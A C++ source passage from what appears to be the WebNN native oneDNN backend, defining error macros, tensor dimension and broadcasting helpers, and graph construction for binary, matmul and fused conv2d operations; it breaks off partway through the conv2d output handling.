#include <numeric>
#include "common/Assert.h"
#include "common/Log.h"
#include "webnn_native/ErrorData.h"
#include "webnn_native/NamedInputs.h"
#include "webnn_native/NamedOutputs.h"
#include "webnn_native/Operand.h"
#include "webnn_native/Utils.h"
#define FAILED(status) (((dnnl_status_t)(status)) != dnnl_success)
const char* dnnl_status2str(dnnl_status_t v) {
if (v == dnnl_success)
return "success";
if (v == dnnl_out_of_memory)
return "out_of_memory";
if (v == dnnl_invalid_arguments)
return "invalid_arguments";
if (v == dnnl_unimplemented)
return "unimplemented";
if (v == dnnl_iterator_ends)
return "iterator_ends";
if (v == dnnl_runtime_error)
return "runtime_error";
if (v == dnnl_not_required)
return "not_required";
return "unknown status";
}
#define COMPLAIN_DNNL_ERROR_AND_RETURN_DNNL_ERROR(what, status) \
do { \
dawn::ErrorLog() << what << " returns oneDNN error: " << dnnl_status2str(status); \
return status; \
} while (0)
#define DNNL_TRY(f) \
do { \
dnnl_status_t s_ = f; \
if (s_ != dnnl_success) \
COMPLAIN_DNNL_ERROR_AND_RETURN_DNNL_ERROR(#f, s_); \
} while (0)
#define COMPLAIN_DNNL_ERROR_AND_RETURN_DAWN_ERROR(what, status) \
do { \
std::string message = std::string(what) + std::string(" returns oneDNN error: ") + \
std::string(dnnl_status2str(s_)); \
return DAWN_INTERNAL_ERROR(message.c_str()); \
} while (0)
#if defined(DAWN_TRY)
# undef DAWN_TRY
#endif
#define DAWN_TRY(f) \
do { \
dnnl_status_t s_ = f; \
if (s_ != dnnl_success) \
COMPLAIN_DNNL_ERROR_AND_RETURN_DAWN_ERROR(#f, s_); \
} while (0)
#define COMPUTE_DNNL_ERROR(what, status) \
do { \
std::string message = std::string(what) + std::string(" returns oneDNN error: ") + \
std::string(dnnl_status2str(s_)); \
dawn::ErrorLog() << message; \
return MLComputeGraphStatus_Error; \
} while (0)
#define COMPUTE_TRY(f) \
do { \
dnnl_status_t s_ = f; \
if (s_ != dnnl_success) \
COMPUTE_DNNL_ERROR(#f, s_); \
} while (0)
namespace webnn_native { namespace onednn {
namespace {
dnnl_status_t GetDnnlDataType(ml::OperandType operandType, dnnl_data_type_t& dnnlDataType) {
if (operandType == ml::OperandType::Float32) {
dnnlDataType = dnnl_f32;
} else if (operandType == ml::OperandType::Float16) {
dnnlDataType = dnnl_f16;
} else if (operandType == ml::OperandType::Int32) {
dnnlDataType = dnnl_s32;
} else {
return dnnl_invalid_arguments;
}
return dnnl_success;
}
dnnl_status_t GetDnnlDimsAndFormartTag(int32_t const* dimensions,
uint32_t dimensionsCount,
std::vector<dnnl_dim_t>& dnnlDims,
dnnl_format_tag_t& tag) {
if (dimensionsCount > DNNL_MAX_NDIMS) {
return dnnl_invalid_arguments;
} else {
if (dimensionsCount > 0) {
dnnlDims.resize(dimensionsCount);
for (uint32_t i = 0; i < dimensionsCount; ++i) {
int32_t d = dimensions[i];
if (d < 0) {
dawn::ErrorLog()
<< "oneDNN doesn't support the negative dimension value";
return dnnl_invalid_arguments;
}
dnnlDims[i] = d;
}
} else {
// for scalar constant
dimensionsCount = 1;
dnnlDims.resize(dimensionsCount);
dnnlDims[0] = 1;
}
const dnnl_format_tag_t tags[12] = {
dnnl_a, ///< plain 1D tensor
dnnl_ab, ///< plain 2D tensor
dnnl_abc, ///< plain 3D tensor
dnnl_abcd, ///< plain 4D tensor
dnnl_abcde, ///< plain 5D tensor
dnnl_abcdef, ///< plain 6D tensor
dnnl_abcdefg, ///< plain 7D tensor
dnnl_abcdefgh, ///< plain 8D tensor
dnnl_abcdefghi, ///< plain 9D tensor
dnnl_abcdefghij, ///< plain 10D tensor
dnnl_abcdefghijk, ///< plain 11D tensor
dnnl_abcdefghijkl ///< plain 12D tensor
};
tag = tags[dimensionsCount - 1];
return dnnl_success;
}
}
enum AccessMode { READ, WRITE };
dnnl_status_t AccessMemory(void* buffer,
size_t size,
dnnl_memory_t mem,
const AccessMode mode) {
DAWN_ASSERT(buffer != nullptr);
dnnl_engine_t engine;
DNNL_TRY(dnnl_memory_get_engine(mem, &engine));
const dnnl_memory_desc_t* md;
DNNL_TRY(dnnl_memory_get_memory_desc(mem, &md));
size_t bytes = dnnl_memory_desc_get_size(md);
if (bytes != size) {
dawn::ErrorLog() << "The size is incorrect.";
return dnnl_invalid_arguments;
}
dnnl_engine_kind_t engineKind;
DNNL_TRY(dnnl_engine_get_kind(engine, &engineKind));
if (engineKind == dnnl_cpu) {
void* ptr = nullptr;
DNNL_TRY(dnnl_memory_get_data_handle(mem, &ptr));
if (ptr) {
if (mode == WRITE) {
memcpy(ptr, buffer, bytes);
} else {
memcpy(buffer, ptr, bytes);
}
} else {
dawn::ErrorLog() << "Failed to get memory data handle.";
return dnnl_runtime_error;
}
} else {
dawn::ErrorLog() << "Only cpu engine is supported.";
return dnnl_invalid_arguments;
}
return dnnl_success;
}
dnnl_status_t WriteToMemory(const void* value, size_t size, dnnl_memory_t mem) {
return AccessMemory(const_cast<void*>(value), size, mem, WRITE);
}
dnnl_status_t ReadFromMemory(void* buffer, size_t size, dnnl_memory_t mem) {
return AccessMemory(buffer, size, mem, READ);
}
dnnl_status_t CreateDnnlMemory(dnnl_engine_t engine,
const OperandDescriptor* desc,
dnnl_memory_t* memory,
const void* value = nullptr,
size_t size = 0) {
dnnl_data_type_t dataType;
DNNL_TRY(GetDnnlDataType(desc->type, dataType));
std::vector<dnnl_dim_t> dims;
dnnl_format_tag_t tag;
DNNL_TRY(GetDnnlDimsAndFormartTag(desc->dimensions, desc->dimensionsCount, dims, tag));
dnnl_memory_desc_t md;
DNNL_TRY(dnnl_memory_desc_init_by_tag(&md, dims.size(), dims.data(), dataType, tag));
void* flag;
if (value != nullptr) {
flag = DNNL_MEMORY_ALLOCATE;
} else {
flag = DNNL_MEMORY_NONE;
}
DNNL_TRY(dnnl_memory_create(memory, &md, engine, flag));
if (value != nullptr) {
DNNL_TRY(WriteToMemory(value, size, *memory));
}
return dnnl_success;
}
std::vector<dnnl_dim_t> ShrinkDimensions(const std::vector<dnnl_dim_t>& dims, size_t rank) {
DAWN_ASSERT(rank <= dims.size());
std::vector<dnnl_dim_t> newDims(rank);
for (size_t i = 0; i < rank; ++i) {
newDims[newDims.size() - i - 1] = dims[dims.size() - i - 1];
}
return newDims;
}
std::vector<dnnl_dim_t> ExpandDimensions(const std::vector<dnnl_dim_t>& dims, size_t rank) {
DAWN_ASSERT(rank >= dims.size());
std::vector<dnnl_dim_t> newDims(rank, 1);
for (size_t i = 0; i < dims.size(); ++i) {
newDims[newDims.size() - i - 1] = dims[dims.size() - i - 1];
}
return newDims;
}
dnnl_status_t BroadcastDimensions(std::vector<dnnl_dim_t>& aDims,
std::vector<dnnl_dim_t>& bDims,
std::vector<dnnl_dim_t>& cDims,
bool& aBroadcasted,
bool& bBroadcasted,
size_t skipAxis = 0) {
auto aRank = aDims.size();
auto bRank = bDims.size();
auto cRank = cDims.size();
auto newRank = std::max(aRank, bRank);
std::vector<dnnl_dim_t> aNewDims;
std::vector<dnnl_dim_t> bNewDims;
std::vector<dnnl_dim_t> cNewDims;
if (newRank > aRank) {
aNewDims = ExpandDimensions(aDims, newRank);
aBroadcasted = true;
} else {
aNewDims = aDims;
}
if (newRank > bRank) {
bNewDims = ExpandDimensions(bDims, newRank);
bBroadcasted = true;
} else {
bNewDims = bDims;
}
if (newRank > cRank) {
cNewDims = ExpandDimensions(cDims, newRank);
} else {
cNewDims = cDims;
}
for (size_t i = 0; i < newRank - skipAxis; i++) {
if (aNewDims[i] == 1 && bNewDims[i] != 1) {
cNewDims[i] = bNewDims[i];
} else if (bNewDims[i] == 1 && aNewDims[i] != 1) {
cNewDims[i] = aNewDims[i];
} else if (aNewDims[i] != bNewDims[i]) {
return dnnl_invalid_arguments;
} else {
cNewDims[i] = aNewDims[i];
}
}
aDims = aNewDims;
bDims = bNewDims;
cDims = cNewDims;
return dnnl_success;
}
} // anonymous namespace
Graph::Graph(Context* context) : GraphBase(context) {
}
Graph::~Graph() {
for (auto memory : mMemories) {
dnnl_memory_destroy(memory);
}
for (auto op : mOperations) {
dnnl_primitive_destroy(op.primitive);
}
}
MaybeError Graph::AddConstant(const op::Constant* constant) {
const OperandDescriptor* desc = constant->GetOperandDescriptor();
dnnl_memory_t memory;
DAWN_TRY(CreateDnnlMemory(GetEngine(), desc, &memory, constant->GetBuffer(),
constant->GetByteLength()));
mMemories.push_back(memory);
mConstantMemories.insert(memory);
mOperandMemoryMap.insert(std::make_pair(constant->PrimaryOutput(), memory));
return {};
}
MaybeError Graph::AddInput(const op::Input* input) {
const OperandDescriptor* desc = input->GetOperandDescriptor();
dnnl_memory_t memory;
DAWN_TRY(CreateDnnlMemory(GetEngine(), desc, &memory));
mMemories.push_back(memory);
mOperandMemoryMap.insert(std::make_pair(input->PrimaryOutput(), memory));
mInputMemoryMap.insert(std::make_pair(input->GetName(), memory));
return {};
}
dnnl_status_t Graph::BuildPrimitives() {
if (mOperandsToBuild.empty()) {
dawn::ErrorLog() << "No operators to build.";
return dnnl_invalid_arguments;
}
auto& info = mOperandsToBuild[0];
if (mOperandsToBuild.size() == 1) {
if (info.opType == OperatorType::UNARY) {
DNNL_TRY(AddUnaryImpl(reinterpret_cast<const op::Unary*>(info.op)));
} else if (info.opType == OperatorType::CLAMP) {
DNNL_TRY(AddClampImpl(reinterpret_cast<const op::Clamp*>(info.op)));
} else if (info.opType == OperatorType::BINARY) {
DNNL_TRY(AddBinaryImpl(reinterpret_cast<const op::Binary*>(info.op)));
} else if (info.opType == OperatorType::CONV2D) {
DNNL_TRY(AddConv2dImpl(reinterpret_cast<const op::Conv2d*>(info.op)));
} else if (info.opType == OperatorType::POOL2D) {
DNNL_TRY(AddPool2dImpl(reinterpret_cast<const op::Pool2d*>(info.op)));
} else {
return dnnl_unimplemented;
}
} else if (info.opType == OperatorType::CONV2D) {
// Try to fuse add and clamp into conv2d
const op::Conv2d* conv2d = reinterpret_cast<const op::Conv2d*>(info.op);
if (mOperandsToBuild.size() > 3) {
dawn::ErrorLog() << "Cannot fuse conv2d subgraph with more than 3 ops.";
return dnnl_invalid_arguments;
}
const op::Binary* add = nullptr;
const op::FusionClamp* clamp = nullptr;
for (size_t i = 1; i < mOperandsToBuild.size(); ++i) {
auto& postOp = mOperandsToBuild[i];
if (postOp.opType == OperatorType::BINARY &&
reinterpret_cast<const op::Binary*>(postOp.op)->GetType() ==
op::BinaryOpType::kAdd) {
add = reinterpret_cast<const op::Binary*>(postOp.op);
} else if (postOp.opType == OperatorType::CLAMP) {
clamp = reinterpret_cast<const op::FusionClamp*>(postOp.op);
}
}
if ((mOperandsToBuild.size() == 2 && !add && !clamp) ||
(mOperandsToBuild.size() == 3 && (!add || !clamp))) {
dawn::ErrorLog() << "Failed to fuse conv2d subgraph.";
return dnnl_invalid_arguments;
}
DNNL_TRY(AddConv2dImpl(conv2d, add, clamp));
} else {
return dnnl_unimplemented;
}
return dnnl_success;
}
MaybeError Graph::AddOutput(const std::string& name, const OperandBase* output) {
DAWN_TRY(BuildPrimitives());
DAWN_ASSERT(mOperandMemoryMap.find(output) != mOperandMemoryMap.end());
dnnl_memory_t plainOutputMemory;
DAWN_TRY(ReorderToPlainFormat(mOperandMemoryMap.at(output), &plainOutputMemory));
mOutputMemoryMap.insert(std::make_pair(name, plainOutputMemory));
return {};
}
MaybeError Graph::AddBinary(const op::Binary* binary) {
mOperandsToBuild.push_back({OperatorType::BINARY, binary});
return {};
}
dnnl_status_t Graph::AddBinaryImpl(const op::Binary* binary) {
DAWN_ASSERT(binary->Inputs().size() == 2);
DAWN_ASSERT(mOperandMemoryMap.find(binary->Inputs()[0].Get()) != mOperandMemoryMap.end());
dnnl_memory_t aMemory = mOperandMemoryMap.at(binary->Inputs()[0].Get());
const dnnl_memory_desc_t* aMemoryDesc;
DNNL_TRY(GetMemoryDesc(aMemory, &aMemoryDesc));
DAWN_ASSERT(mOperandMemoryMap.find(binary->Inputs()[1].Get()) != mOperandMemoryMap.end());
dnnl_memory_t bMemory = mOperandMemoryMap.at(binary->Inputs()[1].Get());
const dnnl_memory_desc_t* bMemoryDesc;
DNNL_TRY(GetMemoryDesc(bMemory, &bMemoryDesc));
std::vector<dnnl_dim_t> aDims(aMemoryDesc->dims, aMemoryDesc->dims + aMemoryDesc->ndims);
std::vector<dnnl_dim_t> bDims(bMemoryDesc->dims, bMemoryDesc->dims + bMemoryDesc->ndims);
std::vector<dnnl_dim_t> cDims;
bool aBroadcasted = false;
bool bBroadcasted = false;
const int aRank = aDims.size();
const int bRank = bDims.size();
int cRank = 0;
bool needBroadcast = true;
size_t broadcastSkipAxis = 0;
if (binary->GetType() == op::BinaryOpType::kMatMul) {
if (aRank == 1 && bRank == 1) {
// If both a and b are 1-D, the operation is a vector dot-product,
// which produces a scalar output.
cRank = 1;
} else {
// The output is a N-D tensor whose rank is the maximum rank of the
// input tensors.
cRank = std::max(aRank, bRank);
}
if (aRank == 1) {
// If a is 1-D, it is converted to a 2-D tensor by prepending a 1 to its dimensions
dnnl_dim_t dim = aDims[0];
aDims.resize(2);
aDims[0] = 1;
aDims[1] = dim;
aBroadcasted = true;
}
if (bRank == 1) {
// If b is 1-D, it is converted to a 2-D tensor by by appending a 1 to its
// dimensions.
dnnl_dim_t dim = bDims[0];
bDims.resize(2);
bDims[0] = dim;
bDims[1] = 1;
bBroadcasted = true;
}
if (aDims.size() > 2 || bDims.size() > 2) {
// If either a or b is N-D, N > 2, it is treated as a stack of matrices
// with dimensions corresponding to the last two indices. The matrix
// multiplication will be broadcasted accordingly by following
// [numpy-broadcasting-rule].
needBroadcast = true;
broadcastSkipAxis = 2;
} else {
needBroadcast = false;
}
// Set output dims.
cDims.resize(2);
cDims[0] = aDims[aDims.size() - 2];
cDims[1] = bDims[bDims.size() - 1];
} else {
// The element-wise binary operation will be broadcasted according to
// [numpy-broadcasting-rule].
needBroadcast = true;
broadcastSkipAxis = 0;
}
if (needBroadcast) {
DNNL_TRY(BroadcastDimensions(aDims, bDims, cDims, aBroadcasted, bBroadcasted,
broadcastSkipAxis));
}
dnnl_memory_desc_t aBroadcastedMemoryDesc;
if (aBroadcasted) {
DNNL_TRY(dnnl_memory_desc_reshape(&aBroadcastedMemoryDesc, aMemoryDesc, aDims.size(),
aDims.data()));
aMemoryDesc = &aBroadcastedMemoryDesc;
}
dnnl_memory_desc_t bBroadcastedMemoryDesc;
if (bBroadcasted) {
DNNL_TRY(dnnl_memory_desc_reshape(&bBroadcastedMemoryDesc, bMemoryDesc, bDims.size(),
bDims.data()));
bMemoryDesc = &bBroadcastedMemoryDesc;
}
dnnl_memory_desc_t cInitDesc;
DNNL_TRY(dnnl_memory_desc_init_by_tag(&cInitDesc, cDims.size(), cDims.data(),
aMemoryDesc->data_type, dnnl_format_tag_any));
dnnl_primitive_desc_t primitiveDesc;
dnnl_data_type_t dataType = aMemoryDesc->data_type;
if (binary->GetType() == op::BinaryOpType::kMatMul) {
dnnl_memory_desc_t aInitDesc;
DNNL_TRY(dnnl_memory_desc_init_by_tag(&aInitDesc, aDims.size(), aDims.data(), dataType,
dnnl_format_tag_any));
dnnl_memory_desc_t bInitDesc;
DNNL_TRY(dnnl_memory_desc_init_by_tag(&bInitDesc, bDims.size(), bDims.data(), dataType,
dnnl_format_tag_any));
dnnl_matmul_desc_t matmulDesc;
DNNL_TRY(dnnl_matmul_desc_init(&matmulDesc, &aInitDesc, &bInitDesc, NULL, &cInitDesc));
DNNL_TRY(
dnnl_primitive_desc_create(&primitiveDesc, &matmulDesc, NULL, GetEngine(), NULL));
const dnnl_memory_desc_t* input0InternalMemoryDesc =
dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_src_md, 0);
DNNL_TRY(ReorderIfNeeded(aMemoryDesc, aMemory, input0InternalMemoryDesc, &aMemory));
const dnnl_memory_desc_t* input1InternalMemoryDesc =
dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_weights_md, 0);
DNNL_TRY(ReorderIfNeeded(bMemoryDesc, bMemory, input1InternalMemoryDesc, &bMemory));
} else {
dnnl_alg_kind_t algKind;
if (binary->GetType() == op::BinaryOpType::kAdd) {
algKind = dnnl_binary_add;
} else if (binary->GetType() == op::BinaryOpType::kMul) {
algKind = dnnl_binary_mul;
} else {
return dnnl_unimplemented;
}
dnnl_binary_desc_t binaryDesc;
DNNL_TRY(
dnnl_binary_desc_init(&binaryDesc, algKind, aMemoryDesc, bMemoryDesc, &cInitDesc));
DNNL_TRY(
dnnl_primitive_desc_create(&primitiveDesc, &binaryDesc, NULL, GetEngine(), NULL));
}
dnnl_memory_t cMemory;
dnnl_primitive_t primitive;
const dnnl_memory_desc_t* cMemoryDesc =
dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_dst_md, 0);
DNNL_TRY(dnnl_memory_create(&cMemory, cMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE));
DNNL_TRY(dnnl_primitive_create(&primitive, primitiveDesc));
DNNL_TRY(dnnl_primitive_desc_destroy(primitiveDesc));
std::vector<dnnl_exec_arg_t> args;
if (binary->GetType() == op::BinaryOpType::kMatMul) {
args = {{DNNL_ARG_SRC, aMemory}, {DNNL_ARG_WEIGHTS, bMemory}, {DNNL_ARG_DST, cMemory}};
} else {
args = {{DNNL_ARG_SRC_0, aMemory}, {DNNL_ARG_SRC_1, bMemory}, {DNNL_ARG_DST, cMemory}};
}
mOperations.push_back({primitive, args});
mMemories.push_back(cMemory);
mOperandMemoryMap.insert(std::make_pair(binary->PrimaryOutput(), cMemory));
if (cRank != 0 && cRank < cMemoryDesc->ndims) {
std::vector<dnnl_dim_t> cDims(cMemoryDesc->dims,
cMemoryDesc->dims + cMemoryDesc->ndims);
std::vector<dnnl_dim_t> cNewDims = ShrinkDimensions(cDims, cRank);
dnnl_memory_desc_t cNewMemoryDesc;
DNNL_TRY(dnnl_memory_desc_reshape(&cNewMemoryDesc, cMemoryDesc, cNewDims.size(),
cNewDims.data()));
mMemoryReinterprets.insert(std::make_pair(cMemory, cNewMemoryDesc));
}
return dnnl_success;
}
MaybeError Graph::AddConv2d(const op::Conv2d* conv2d) {
mOperandsToBuild.push_back({OperatorType::CONV2D, conv2d});
return {};
}
dnnl_status_t Graph::AddConv2dImpl(const op::Conv2d* conv2d,
const op::Binary* add,
const op::FusionClamp* clamp) {
DAWN_ASSERT(conv2d->Inputs().size() == 2 || conv2d->Inputs().size() == 3);
const OperandBase* inputOperand = conv2d->Inputs()[0].Get();
DAWN_ASSERT(mOperandMemoryMap.find(inputOperand) != mOperandMemoryMap.end());
dnnl_memory_t inputMemory = mOperandMemoryMap.at(inputOperand);
const dnnl_memory_desc_t* inputMemoryDesc;
DNNL_TRY(GetMemoryDesc(inputMemory, &inputMemoryDesc));
std::vector<dnnl_dim_t> inputDims;
const Conv2dOptions* options = conv2d->GetOptions();
const dnnl_memory_desc_t* actualInputMemoryDesc;
dnnl_memory_desc_t transposedInputMemoryDesc;
if (options->inputLayout == ml::InputOperandLayout::Nhwc) {
const int permute[] = {0, 2, 3, 1};
DNNL_TRY(dnnl_memory_desc_permute_axes(&transposedInputMemoryDesc, inputMemoryDesc,
permute));
inputDims.assign(transposedInputMemoryDesc.dims,
transposedInputMemoryDesc.dims + transposedInputMemoryDesc.ndims);
// logical dimension is always in {NCHW}
// physical layout is nhwc for input
DNNL_TRY(dnnl_memory_desc_init_by_tag(&transposedInputMemoryDesc, inputDims.size(),
inputDims.data(), inputMemoryDesc->data_type,
dnnl_nhwc));
actualInputMemoryDesc = &transposedInputMemoryDesc;
} else {
inputDims.assign(inputMemoryDesc->dims, inputMemoryDesc->dims + inputMemoryDesc->ndims);
actualInputMemoryDesc = inputMemoryDesc;
}
const OperandBase* filterOperand = conv2d->Inputs()[1].Get();
DAWN_ASSERT(mOperandMemoryMap.find(filterOperand) != mOperandMemoryMap.end());
dnnl_memory_t filterMemory = mOperandMemoryMap.at(filterOperand);
const dnnl_memory_desc_t* filterMemoryDesc;
DNNL_TRY(GetMemoryDesc(filterMemory, &filterMemoryDesc));
std::vector<dnnl_dim_t> filterDims;
std::vector<dnnl_dim_t> groupFilterDims;
const dnnl_memory_desc_t* actualFilterMemoryDesc;
dnnl_memory_desc_t transposedFilterMemoryDesc;
if (options->filterLayout == ml::FilterOperandLayout::Hwio) {
const int permute[] = {2, 3, 1, 0};
DNNL_TRY(dnnl_memory_desc_permute_axes(&transposedFilterMemoryDesc, filterMemoryDesc,
permute));
// logical dimension is always in {OIHW}
// physical layout is hwio for filter
filterDims.assign(transposedFilterMemoryDesc.dims,
transposedFilterMemoryDesc.dims + transposedFilterMemoryDesc.ndims);
DNNL_TRY(dnnl_memory_desc_init_by_tag(&transposedFilterMemoryDesc, filterDims.size(),
filterDims.data(), filterMemoryDesc->data_type,
dnnl_hwio));
actualFilterMemoryDesc = &transposedFilterMemoryDesc;
} else if (options->filterLayout == ml::FilterOperandLayout::Ohwi) {
const int permute[] = {0, 2, 3, 1};
DNNL_TRY(dnnl_memory_desc_permute_axes(&transposedFilterMemoryDesc, filterMemoryDesc,
permute));
filterDims.assign(transposedFilterMemoryDesc.dims,
transposedFilterMemoryDesc.dims + transposedFilterMemoryDesc.ndims);
DNNL_TRY(dnnl_memory_desc_init_by_tag(&transposedFilterMemoryDesc, filterDims.size(),
filterDims.data(), filterMemoryDesc->data_type,
dnnl_ohwi));
actualFilterMemoryDesc = &transposedFilterMemoryDesc;
} else if (options->filterLayout == ml::FilterOperandLayout::Ihwo) {
const int permute[] = {1, 2, 3, 0};
DNNL_TRY(dnnl_memory_desc_permute_axes(&transposedFilterMemoryDesc, filterMemoryDesc,
permute));
filterDims.assign(transposedFilterMemoryDesc.dims,
transposedFilterMemoryDesc.dims + transposedFilterMemoryDesc.ndims);
DNNL_TRY(dnnl_memory_desc_init_by_tag(&transposedFilterMemoryDesc, filterDims.size(),
filterDims.data(), filterMemoryDesc->data_type,
dnnl_ihwo));
actualFilterMemoryDesc = &transposedFilterMemoryDesc;
} else {
filterDims.assign(filterMemoryDesc->dims,
filterMemoryDesc->dims + filterMemoryDesc->ndims);
actualFilterMemoryDesc = filterMemoryDesc;
}
dnnl_memory_desc_t newFilterMemoryDesc;
if (options->groups != 1) {
groupFilterDims = {options->groups, filterDims[0] / options->groups, filterDims[1],
filterDims[2], filterDims[3]};
switch (options->filterLayout) {
case ml::FilterOperandLayout::Oihw:
DNNL_TRY(dnnl_memory_desc_init_by_tag(
&newFilterMemoryDesc, groupFilterDims.size(), groupFilterDims.data(),
filterMemoryDesc->data_type, dnnl_goihw));
break;
case ml::FilterOperandLayout::Hwio:
DNNL_TRY(dnnl_memory_desc_init_by_tag(
&newFilterMemoryDesc, groupFilterDims.size(), groupFilterDims.data(),
filterMemoryDesc->data_type, dnnl_hwigo));
break;
case ml::FilterOperandLayout::Ohwi:
DNNL_TRY(dnnl_memory_desc_init_by_tag(
&newFilterMemoryDesc, groupFilterDims.size(), groupFilterDims.data(),
filterMemoryDesc->data_type, dnnl_gohwi));
break;
case ml::FilterOperandLayout::Ihwo:
DNNL_TRY(dnnl_memory_desc_init_by_tag(
&newFilterMemoryDesc, groupFilterDims.size(), groupFilterDims.data(),
filterMemoryDesc->data_type, dnnl_idhwo));
break;
default:
break;
}
actualFilterMemoryDesc = &newFilterMemoryDesc;
}
dnnl_data_type_t dataType = actualInputMemoryDesc->data_type;
dnnl_memory_desc_t inputInitDesc;
DNNL_TRY(dnnl_memory_desc_init_by_tag(&inputInitDesc, inputDims.size(), inputDims.data(),
dataType, dnnl_format_tag_any));
dnnl_memory_desc_t filterInitDesc;
if (options->groups == 1) {
DNNL_TRY(dnnl_memory_desc_init_by_tag(&filterInitDesc, filterDims.size(),
filterDims.data(), dataType,
dnnl_format_tag_any));
} else {
DNNL_TRY(dnnl_memory_desc_init_by_tag(&filterInitDesc, groupFilterDims.size(),
groupFilterDims.data(), dataType,
dnnl_format_tag_any));
}
std::vector<dnnl_dim_t> strides = {options->strides[0], options->strides[1]};
// Non-dilated convolution is defined by setting the dilation parameters to 0
std::vector<dnnl_dim_t> dilates = {options->dilations[0] == 1 ? 0 : options->dilations[0],
options->dilations[1] == 1 ? 0 : options->dilations[1]};
int32_t paddingTop = options->padding[0];
int32_t paddingBottom = options->padding[1];
int32_t paddingLeft = options->padding[2];
int32_t paddingRight = options->padding[3];
if (options->autoPad != ml::AutoPad::Explicit) {
utils::ComputeImplicitPaddingForAutoPad(options->autoPad, options->dilations[0],
inputDims[2], filterDims[2], strides[0],
paddingTop, paddingBottom);
utils::ComputeImplicitPaddingForAutoPad(options->autoPad, options->dilations[1],
inputDims[3], filterDims[3], strides[1],
paddingLeft, paddingRight);
}
std::vector<dnnl_dim_t> padding_l = {paddingTop, paddingLeft};
std::vector<dnnl_dim_t> padding_r = {paddingBottom, paddingRight};
std::vector<dnnl_dim_t> outputDims(4);
outputDims[0] = inputDims[0];
outputDims[1] = filterDims[0];
for (int i = 2; i < 4; ++i) {
int src = inputDims[i];
int ker = filterDims[i];
int dil = dilates[i - 2];
int pad_l = padding_l[i - 2];
int pad_r = padding_r[i - 2];
int str = strides[i - 2];
int ker_range = 1 + (ker - 1) * (dil + 1);
outputDims[i] = (src - ker_range + pad_l + pad_r) / str + 1;
}
dnnl_memory_desc_t outputInitDesc;
DNNL_TRY(dnnl_memory_desc_init_by_tag(&outputInitDesc, outputDims.size(), outputDims.data(),
dataType, dnnl_format_tag_any));
// dnnl_memory_desc_t biasInitDesc;
dnnl_memory_t biasMemory = nullptr;
const dnnl_memory_desc_t* biasMemoryDesc;
if (add) {
DAWN_ASSERT(add->Inputs().size() == 2);
OperandBase* biasOperand = nullptr;
if (conv2d->PrimaryOutput() == add->Inputs()[0].Get()) {
biasOperand = add->Inputs()[1].Get();
} else if (conv2d->PrimaryOutput() == add->Inputs()[1].Get()) {
biasOperand = add->Inputs()[0].Get();
} else {
dawn::ErrorLog() << "The add is not fusable.";
return dnnl_invalid_arguments;
}
DAWN_ASSERT(mOperandMemoryMap.find(biasOperand) != mOperandMemoryMap.end());
biasMemory = mOperandMemoryMap.at(biasOperand);
DNNL_TRY(GetMemoryDesc(biasMemory, &biasMemoryDesc));
}
dnnl_primitive_attr_t attr = nullptr;
dnnl_post_ops_t postops = nullptr;
if (clamp) {
float outputMin = -std::numeric_limits<float>::infinity();
float outputMax = +std::numeric_limits<float>::infinity();
outputMin = clamp->GetMinValue();
outputMax = clamp->GetMaxValue();
DNNL_TRY(dnnl_post_ops_create(&postops));
DNNL_TRY(dnnl_post_ops_append_eltwise(postops, 1.0, dnnl_eltwise_clip, outputMin,
outputMax));
DNNL_TRY(dnnl_primitive_attr_create(&attr));
DNNL_TRY(dnnl_primitive_attr_set_post_ops(attr, postops));
}
dnnl_convolution_desc_t convDesc;
DNNL_TRY(dnnl_dilated_convolution_forward_desc_init(
&convDesc, dnnl_forward, dnnl_convolution_direct, &inputInitDesc, &filterInitDesc,
add ? biasMemoryDesc : NULL, &outputInitDesc, strides.data(), dilates.data(),
padding_l.data(), padding_r.data()));
dnnl_primitive_desc_t primitiveDesc;
DNNL_TRY(dnnl_primitive_desc_create(&primitiveDesc, &convDesc, clamp ? attr : NULL,
GetEngine(), NULL));
if (attr) {
DNNL_TRY(dnnl_primitive_attr_destroy(attr));
}
if (postops) {
DNNL_TRY(dnnl_post_ops_destroy(postops));
}
const dnnl_memory_desc_t* inputInternalMemoryDesc =
dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_src_md, 0);
dnnl_memory_t inputInternalMemory;
DNNL_TRY(ReorderIfNeeded(actualInputMemoryDesc, inputMemory, inputInternalMemoryDesc,
&inputInternalMemory));
const dnnl_memory_desc_t* filterInternalMemoryDesc =
dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_weights_md, 0);
dnnl_memory_t filterInternalMemory;
DNNL_TRY(ReorderIfNeeded(actualFilterMemoryDesc, filterMemory, filterInternalMemoryDesc,
&filterInternalMemory));
const dnnl_memory_desc_t* outputMemoryDesc =
dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_dst_md, 0);
dnnl_memory_t outputMemory;
DNNL_TRY(
dnnl_memory_create(&outputMemory, outputMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE));
dnnl_primitive_t primitive;
DNNL_TRY(dnnl_primitive_create(&primitive, primitiveDesc));
DNNL_TRY(dnnl_primitive_desc_destroy(primitiveDesc));
std::vector<dnnl_exec_arg_t> args = {{DNNL_ARG_SRC, inputInternalMemory},
{DNNL_ARG_WEIGHTS, filterInternalMemory},
{DNNL_ARG_DST, outputMemory}};
if (add) {
args.push_back({DNNL_ARG_BIAS, biasMemory});
}
mOperations.push_back({primitive, args});
mMemories.push_back(outputMemory);
const OperandBase* output =
add ? reinterpret_cast<const OperandBase*>(add->PrimaryOutput())
: reinterpret_cast<const OperandBase*>(conv2d->PrimaryOutput());
if (options->inputLayout == ml::InputOperandLayout::Nhwc) {
// reorder the output from primitive query layout to nhwc
dnnl_memory_desc_t finalOutputMemoryDesc;
DNNL_TRY(dnnl_memory_desc_init_by_tag(&finalOutputMemoryDesc, outputDims.size(),
outputDims.data(), dataType, dnnl_nhwc));
dnnl_memory_t finalOutputMemory;
DNNL_TRY(ReorderIfNeeded(outputMemoryDesc, outputMemory, &finalOutputMemoryDesc,
&finalOutputMemory));
mOperandMemoryMap.insert(std::make_pair(output, finalOutputMemory));
// transpose the output logical dims to nhwc
dnnl_memory_desc_t transposeOutputMemoryDesc;
std::vector<dnnl_dim_t> finalOutputDims(4);
finalOutputDims[0] = outputDims[0];
finalOutputDims[1] = outputDims[2];
finalOutputDims[2] = outputDims[3];
finalOutputDims[3] = outputDims[1];
